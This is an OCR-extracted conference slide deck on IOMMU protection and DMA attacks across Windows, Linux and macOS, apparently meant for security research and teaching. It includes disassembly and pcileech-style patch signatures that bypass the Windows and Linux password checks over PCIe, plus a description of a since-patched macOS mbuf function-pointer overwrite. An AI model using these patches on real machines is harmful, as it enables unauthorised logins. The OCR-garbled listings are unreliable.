as OYNACKTIV

Il B DIGITAL SECURITY

IOMMU and DMA attacks

Date 15/05/2020
At NorthSec 2020
By Jean-Christophe Delaunay




Whoami

= Jean-Christophe Delaunay
® @FistOurs on Twitter

= Working for Synacktiv:

= QOffensive security company
= 75 ninjas

= 3 poles: pentest, reverse engineering, development

® In reverse engineering team (formerly in pentest):
= 30 reversers

= Focus on low level dev, reverse, vulnerability research/exploitation
= |f there is software in it, we can own it :)
= \We are hiring!
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™ Introduction




Disclaimer

= State of the art of current known attacks
will be addressed on Intel technology only

" Presentation will stay “high-level”

® Attacks discussed involve an already
switched on computer

" Many IOMMUs have been harmed during
tests
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Direct Memory Access (DMA)

® (over)simplified functioning

Data transfer

r s
Vs.
Data Data
Interrupts BUS

Standard Direct Memory Access
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Technologies

==/

(1)

® FireWire §

[3]

= etc.

= PCI
EXpress
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HE
Intel VT-d — IOMMU B

= “Virtualization Technology for Directed 1/0”(VT-
d)

" Proceeds to DMA remapping to restrict
accesses to some memory locations

= DMA remapping works as a classical MMU (“1O-
MMU”’) through multiple layers of page tables

= Mapping by pages of 4KB, 2MB or 1GB

® Addresses manipulated by peripherals may be
seen as virtual addresses translated to
physical
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Intel VT-d — IOMMU

= Peripherals are organized by “domains”

= Each domain has its proper MMU
configuration

= All peripherals within a single domain
share the same memory mapping

= Each peripheral is identified by the triplet
“bus:dev:fun”

® Domain may be deduced from this triplet
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Intel VT-d — IOMMU

= Hypervisor usecase:
= a peripheral is shared with a virtual machine

= must ensure that this peripheral may only reach
virtual machine’s address space

® OS usecase:

= |OMMU can be used to protect OS/kernel from
rogue peripherals

= must ensure that peripherals can only access their
address spaces
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2 Implementations




Windows

= |JOMMU is used as a security mechanism by some
technologies :

= Hyper-V
= Virtualization Based Security (VBS)
= Kernel DMA Protection™

= According to Microsoft, IOMMU is used to protect
the OS from DMA attacks[7] starting with Windows
10 1803

= Very few documentation regarding IOMMU actual
Implementation (as opposed to *NIX-based and

macOS systems)
1 starting with Windows 10 1803
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Windows

Windows Platform Services
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Kernel Mode
Code Integrity

Kernel

Kemel

Virtual S Mod
e Windows (Host OS)

8]
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LInuX

= |OMMU not activated by default (boot argument
“Intel_iommu=on”)

= Each IOMMU type’ defines a structure “iommu_ops”
which serves as an abstraction layer while interacting
with hardware

= A virtual address as seen by a peripheral (“iova”) is
associated with a physical address (“paddr”) with
corresponding read/write rights

= Mapping are achieved per domain and not peripheral

= Each peripheral has its own domain - each peripheral
has its own address space

2many platforms are supported by Linux’s IOMMU implementation
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LInuX

const struct iommu_ops intel_iommu_ops = {

.capable
.domain_alloc
.domain_free
.attach_dev
.detach_dev
.aux_attach_dev
.aux_detach_dev
.aux_get_pasid
.map

.unmap
.lova_to_phys
.add_device
.remove_device
.get_resv_regions
.put_resv_regions
.device_group
.dev_has_feat
.dev_feat_enabled
.dev_enable_feat
.dev_disable_feat
.pgsize_bitmap

intel_iommu_capable,
intel_iommu_domain_alloc,
intel_jommu_domain_free,
intel_iommu_attach_device,
intel_iommu_detach_device,
intel_iommu_aux_attach_device,
intel_iommu_aux_detach_device,
intel_iommu_aux_get_pasid,
intel_iommu_map,
intel_iommu_unmap,
intel_iommu_iova_to_phys,
intel_iommu_add_device,
intel_jommu_remove_device,
intel_iommu_get_resv_regions,
intel_iommu_put_resv_regions,

= pci_device_group,

intel_iommu_dev_has_feat,
intel_ijommu_dev_feat_enabled,
intel_iommu_dev_enable_feat,
intel_iommu_dev_disable_feat,
INTEL_IOMMU_PGSIZES,
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int (*map) (
struct iommu_domain #*domain,
unsigned long iova,
phys_addr_t paddr,
size_t size,
int prot

);

size_t (*unmap) (
struct iommu_domain *domain,
unsigned long iova,
size_t size

);




macOS

= Apple understood many years ago the
security concerns regarding IOMMU

= UEFI is involved in the IOMMU configuring
process

= Not open source soO a reverse engineering
work was started in order to understand this
part

® First results emphasize that the
implementation follows Intel’s
recommendations
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. . ]
macOS — reverse engineering B

= |[OMMVU is activated at boot time within
UEFI

= Custom UEFI protocol permitting drivers to
configure IOMMU’s mappings for
peripherals

= When UEFI hands off to the OS, the
“lOPCIFamily” driver reinitializes the
IOMMU so that it can be used in the new
execution context

3 https://opensource.apple.com/source/IOPCIFamily/IOPCIFamily-330.250.10/
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macOS

® This driver declares the
“AppleVTDDeviceMapper” class which
overrides the “IOMapper” class

® This class redefines the “iovmMapMemory”
and “iovmUnmapMemory” APIs which
permit to add and remove memory
mappings within the IOMMU

= Unlike Linux, macOS uses a single domain
for all peripherals
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W Attacks




. . HE
Windows — principle l

" Context: without VBS* no IOMMU by default
= Attack:

= connect to the PCI BUS

= probe main memory searching for logon session
unlocking routine

= Patch password’s checking routine
= Log in whatever password is entered[9]

“with VBS activated the attack would require to reboot the workstation
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Windows — attack

= [dentify “MsvpPasswordValidate”, from
“NtlmShared.dll”>, in memory

Sext:oopbapelooeasv22 loc_1368@3722: ; CODE XREF: MsvpPasswordValidate+B@tj
Ltext:ee0800013080083722 3 MsvpPasswordValidatetB81]
Stext:oepaeaeliesasi22 41 BE 1@ @ a@ ae mow rldad, 1eh

Ltext:e008000150003728 48 5D 56 5@ lea rdx, [rsi+58h] ; Source2

Jtext:0ee0e08180008372C 45 8B Ch mow réd, rldd s Length

Texi  ARARRRRTRRRRSTOE A5 RE (R Moy rox, rhx At w10 L a =

text:20000001300083732 FF 15 C@ 1B @@ a2 call cs:_ imp RtlCompareMemory

text:oobaaealo0083738 49 3B (6 cmp rax, rild

text:obbeREE18068@37538 BF 84 B89 F
text:bbBaRREloREE374]

T
m
T
al
il
n

)

&

loc_13Be83244

text:BeBaa80180883741 loc_188883741: ; CODE XREF: MsvpPasswordValidate+A71]
text:BEEEEBE1500B3741 s MsvpPasswordvalidate+E®?
text:BoBe@E81800803741 32 C@ Nor al, al

text:boboREOloRBE3743 ED B4 FB FF FF jmp loc_l3@@e324C

LTENT e Lo 574 5 y o /7 starts at lowedilob ~

Ltext:BEEEEE013080083743 MsvpPasswordValidate endp

°prior to Windows 10, this API was located in “msv1_0.dll”
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Windows — attac

gext:ooepaealoeaesv22 loc_13BE@83722: ; CODE XREF: MsvpPasswordValidate+B@tj
Ltewt:B820801308083722 3 MsvpPasswordValidatet+BE81T]
Jgext:ebepaealseeasv22 41 BE 10 e o2 g8 mow rldad, 1eh

.text:00800008150003728 48 5D 56 58 lea rdx, [rsi+58h] ; Source2
Ltext:eeep00018080372C 45 8B C6 mow réd, rldd s Length
fextiephaaaalsppas7ar 458 88 CH Doy Cox, rChx iooyrcel
text:20000001300083732 FF 15 C@ 1B @@ a2 call cs:_ imp RtlCompareMemory
text:oobaaeal800883738 49 3B (6 cmp rax, rild

text:bbBERRE1lERBE3T3E 08 nap

text:ooBa@RelapBa373C 98 nap

text:o@BeaEe130883730 98 nop

text:@0BeB2015088373E 98 nop

text:BoBEBE01508E373F 98 nop

text:bpboREolopBa3 40 28 nop

text:ooba@Ealo00883741

text:bbBEREE1lEEEE3741 loc_1388@83741: ; CODE XREF: MsvpPasswordValidate+A71]
text:20000201300083741 3 MsvpPasswordValidatetE®t]
text:b@BeaE0130883741 BB 81 mow al, 1

text:beBBREE180883743 E9 B4 FB FF FF jmp loc_13888324C

LTEXT e Loban s /435 s ¢/ starts at lobwwslow .

text:BEEEERELERRB3TAS MsvpPasswordyalidate endp
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Windows — attack

# NtimShared.dll - 10.0.18362.1 ; Windows 10 ; x64 ;
7€e034cc4e80106cda064c21176333534€a949837e8dc2f11333d937814125de6

73A,C60F84,73E, ,73B,909090909090B001

Sext:oopbapelooeasv22 loc_1368@3722: ; CODE XREF: MsvpPasswordValidate+B@tj
Ltext:ee0800013080083722 3 MsvpPasswordValidatetBEtj ...
Stext:oepaeaeliesasi22 41 BE 1@ @ a@ ae mow rldad, 1eh

Ltext:e008000150003728 48 5D 56 5@ lea rdx, [rsi+58h] ; Source2

Jtext:0ee0e08180008372C 45 8B Ch mow réd, rldd s Length

LTdexiiopeaeealoaae3v72F 45 56 CEB Mmow rcx, rbx 3 Sourcel

.text:0000000180003732 FF 15 Ce 1B @2 ee call cs:_ imp RtlCompareMemory

Ltext:p000000130003738 40 3B E. cmp rax, rld

Ltext:EEERRR13RBR3TIE BF Sa 89 |FB FF FF jz loc_13Be83244

JTextroepBeaelieessv4l

LJLext:aapaeaelieeasi4l loc_188883741: ; CODE XREF: MsvpPasswordValidate+A71]
Ltext:eeae80013088083741 s MsvpPasswordvalidate+EBtj ...
JtLext:oopoapelieasi4l 32 Ca Nor al, al

tLext:oopoeaeliepasi4s E9 e84 FB FF FF jmp loc_l13e@e324C

Sext:oopoapelieeasv43 ;3 F // starts at 13eee3lce

Ltext:BEEEEE013080083743 MsvpPasswordValidate endp
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Windows — attack

# NtimShared.dll - 10.0.18362.1 ; Windows 10 ; x64 ;
7€e034cc4e80106cda064c21176333534€a949837e8dc2f11333d937814125de6

73A,C60F84,73E,FBFFFF32COE9,73B,

Sext:oopbapelooeasv22 loc_1368@3722: ; CODE XREF: MsvpPasswordValidate+B@t
Ltext:ee0800013080083722 ; MswpPasswordVWalidatetBEtj ...
Jfextroepbeaelieaasi22 41 BE 1@ ee eo e M rlad, 1eh

Ltext:2008000150003728 48 5D 56 5@ lea rdx, [rsi+58h] ; Source2
Jtext:0ep0e0018008372C 45 8B Ch mow réd, rlad ; Length

LSdexteeeaeealoae372F 45 5B CB MY rcx, rbx 3 Sourcel
Ltext:eeee0001308003732 FF 15 C2 1B 22 ee call cs:__imp_RtlCompareMemory
tLext:oopoeaeliepasi3s 49 3B Co cmp rax, rlg4

.text :0ep000018000d73E] 00 nop

TextroepBeaeliesasisC 9g nap

Ltext:aepaeael3e883730 98 nop

Ltext:eepaeae18888373E 98 nop

LLext:oapoeaeliesasiir 98 nop

LtLext:oepoeaeliesasi4e 98 nop

tLext:oopoeaeliopasi4l

Sext:eoebapelieeasi4l loc_1368@83741: ; CODE XREF: MsvpPasswordValidate+A71]
Ltext:ee0800013080083741 ; MswpPasswordValidatetEBT] ...
JTextroepbeaelieaasi4l Be el M al, 1

LStext:oepseael30883745 EO 84 FB FF FF jmp loc_13@888324C

LLext:aepaeaelieeasi4s ; 1 // starts at 138603168

Ltext:BeE88001308883743 MsvpPasswordValidate endp
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Windows — attack

® Hardware:

= FPGA Spartan-6 FPGA SP605[10] + FTDI ft601[11]
USB 3.0 extension...

= _..or PCle Screamer R02/M2[12]

= \Whatever adaptor permitting to connect to the PCI
BUS

m Software:

= Linux or Windows
= pcileech® by UIf Frisk (@UIfFrisk)...

= ...+ sighatures
® https://github.com/ufrisk/pcileech
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Windows — attack

FPGA Spartan-6 FPGA SP605[10] + FTDI ft601[11] USB 3.0

5e>Y N

I M DIGITAL SECURITY



Linux — principle B

= Context: no IOMMU by default

m Attack follows the same scheme as for Windows:

= Patch password’s checking routine (“verify_pwd_hash” from
“pam_unix.so”)

= Log in whatever password is entered

Jtext:epeeaaaaee8868E8 89 C2 mon edx, eax Jtext:eeoeaoae088808E8 89 C2 mon edx, eax
.text:oeaea200000060EA E3 21 80 80 e call sub_BoFae .text:00EPREGARAAA6BEA E3 81 BO 88 8B call sub_G9F@
.text :0oaceooeaceadocr][41 a9 c4 mov  ril2d, eax text:coppoeopecoades] 31 Co xor eax, eax
Ltext: BRB88R08000068F2 fext:eeoeaeae0080808FL 98 nop
Jtext:epooppaaoRREEF2 loc_g@F2: .text:8800RRRB00RR58F 2

Jtext:esopappaopaacer2 45 85 E4 test rlad, rlad . text : pe0080088008658F 2 loc BBF2:

Jtext:epeeapaR008868F5 BF 85 AE B8 BB BA jnz loc_B1AD text:peepea08008868F2 45 31 E B xor rl2d, rilzd
Ltext:eeppoeopeea068FE 458 85 DB test rbx, rbx .text:80p008000000860F5 90 nop

Ltext: eeeeeee0e08060FE 74 35 jz short loc_6135 . text: aEEEEERRRRRRERFE 08 nop
Jtext:eseeapaaoeaac108 45 8D 8D 69 EB FF FF lea rcx, sub_4C78 . text : pEREE0RE008868F 7 98 nop
Ltext:eeeea0e000006107 31 D2 xor edx, edx . text : 30R0R0RRRRRRERFE OB nop

Ltext: 0222000086109 43 89 DE mov rsi, rbx .text : AERABAAPBARBGEAFT OB nop
LJtext:eeppopopoeaaeleC 4C 89 EF ma rdi, ril3 .text:0000080000BA60FA 08 nop

Jtext: eepeo000000808610F ES DC C6 FF FF call _pam_set_data .text: 0PERRARERRRAEGAFE 43 85 DE test rbhx, rbx
Ltext: 0e0e8008008006114 fext:eE000000000808FE 74 35 jz short loc 6135
Jtext:esopaapaeeaeclll loc_s114:

# pam_unix-ubuntu-18.04.1-x64.s0 ; x64 ;
a7473bdb2e8a939ee380d003a578b1893d499f9a943de3369d933daf75b11dec
OEF, ,0,-,0EF,
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macOS — context B

= |OMMU enabled by default’
® Must find way to circumvent IOMMU protection

= Colin Rothwell[13] found some vulnerabilities
during his PhD thesis[14]

= Along with other researchers, he released
“Thunderclap”[15][16], a platform dedicated to
DMA attacks

" Vulnerabilities patched with macOS 10.12.4

"IOMMU could be disabled prior to macOS High Sierra by rebooting in recovery mode. In
this case pcileech can be used
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macOS — principle

® Peripherals are under the same domain
- share the same address space

® Possible to access network card’s memory
pages

= Exploit® this behavior to be able to execute
commands as root

8pefore macOS 10.12.4
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macOS — attack

= Network packets are described by an
“mbuf” structure®

struct mbuf {
struct m_hdr m_hdr;

union {
struct {
struct pkthdr MH_pkthdr; /+* M_PKTHDR set #/
union {
struct m_ext MH_ext; /* M_EXT set */
char MH_databuf [_MHLEN] :
} MH_dat;
} MH;
char M_databuf [_MLEN]; /* /M PKTHDR, !M EXT */
} M_dat;

° mbuf structs can be chained in order to obtain payloads of arbitrary sizes
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macOS — attack

= Data can be stored in multiple ways:

= m_dat (M_dat.M_databuf) and
(M_dat.MH.MH_dat.MH_ databuf)

= External buffer m_ext (M_dat.MH.MH_dat.MH_ ext)

struct mbuf {
struct m_hdr m_hdr;

union {
struct {
struct pkthdr MH_pkthdr; /+ M_PKTHDR set */
union {
|struct m_ext MH_ext;| /¥ M_EXT set */
char MH_databuf [_MHLEN] ;
} MH_dat;
+ MH;
char M_databuf[_MLEN];| /* 'M_PKTHDR, !'M_EXT */
} M_dat;
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HE
macOS — attack B

® The way data is stored depends on the m_flags value
from the m_buf header (m_hdr)

struct mbuf { struct m_hdr {
struct m_hdr m_hdr; struct mbuf *mh_next; /* next buffer in chain */
union { struct mbuf *mh_nextpkt; /* next chain in gqueue/record */
struct { caddr_t mh_data; /* location of data */
struct pkthdr MH_pkthdr; int32_t mh_len; /% amount of data in this mbuf */
union { u_intl6_t mh_type; /* type of data in this mbuf */
struct m_ext MH_ext; u_intlé_t mh_flégs; /* flags; see below */
char MH_databuf [_MHLEN] ; };
} MH_dat;
} MH;
char M_databuf [_MLEN] ;
} M_dat;
+;
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HE
macOS — attack B

" m_ext is evaluated when M_EXT flag is set

= Because an external buffer is allocated to
store the data, it must be freed when it is
no longer needed

®" The function in charge of freeing the buffer
IS stored Iin the m ext structure...
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macOS — attack

® ... as a function pointer

S *
* Description of external storage mapped winto mbuf, wvalid only +f M_EXT set.
*/
struct m_ext {
caddr_t ext_buf; /* start of buffer */
void (*ext_free)(caddr_t, u_int, caddr_t);| /* free routine if not the usual */
u_int ext_size; /* size of buffer, for ext_free x/
caddr_t ext_arg; /* additional ext_free argument */

struct ext_ref {
struct mbuf *paired;
u_intl6_t minref;
u_intl6_t refcnt;
u_intl6_t prefcnt;
u_intl6_t flags;
u_int32_t priv;

} *ext_refflags;
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HE
macOS — attack B

® We can modify this function pointer through DMA

= We also control its parameters as they are
members of the m_ext struct:

= ext_buff
= ext _size
= ext_arg

® This function pointer will be called when the
buffer is freed

= We override this pointer with KUNCExecute'’ API

W KUNCEXxecute permits to launch a binary as root in the userland
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macOS — patch

" m_ext.ext_free and m_ext.ext_refflags are now
obfuscated with random values which are set
during boot process

uintptr_t mb_obscure_extfree __attribute__((visibility("hidden")));
uintptr_t mb_obscure_extref __attribute__((visibility("hidden")));

read_random(&Zmb_obscure_extref, sizeof (mb_obscure_extref));
read_random(Zmb_obscure_extfree, sizeof (mb_obscure_extfree));

® The attack is no longer feasible without knowing
the values of these random masks
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™ Conclusion




HE
So what? B

= DMA attack vectors are more and more discussed

= As expected, macOS is ahead of its contestants
regarding hardware security...

® _..nevertheless, Windows seems to take the
physical attack vector seriously

" If there is few documentation regarding IOMMU
software implementation, there is little to no
information regarding the hardware side

= We plan to go further than the current state of the
art during our RAPID’s project “DMArvest”



2 Ongoing works




DMArvest

® RAPID[17] project

= Study of DMA relying on PCI BUS from
software to hardware:

= all mainstream OS
= open-source/closed-source

= various technologies :

= M2, Thunderbolt, (ExpressCard)
= Intel/AMD/(other)
= x86/ARM/(other)

" maore



Thunderbolt on Windows

® Closed source

= Multiple components:

= UWP Application
= Service
= WDF drivers



Thunderbolt on Windows

uwp
Application

<= ThtControlCenterToastLauncher.exe
ThunderboltControlApp.exe

l § ThunderboltService.exe
ThunderboltControlApp.dll

.................................................

Thunderbolt
drivers

ThtFilterDrv.dll

UMDF

Userland i
Kerneland i
KMDF | ThtBusDrv.sys 4
pci.sys »:jmug}_-
@ t Manager
i Towards
: ; hardware
Drivers ; '

stack



Do you have any
guestions?

THANK YOU FOR YOUR
ATTENTION,
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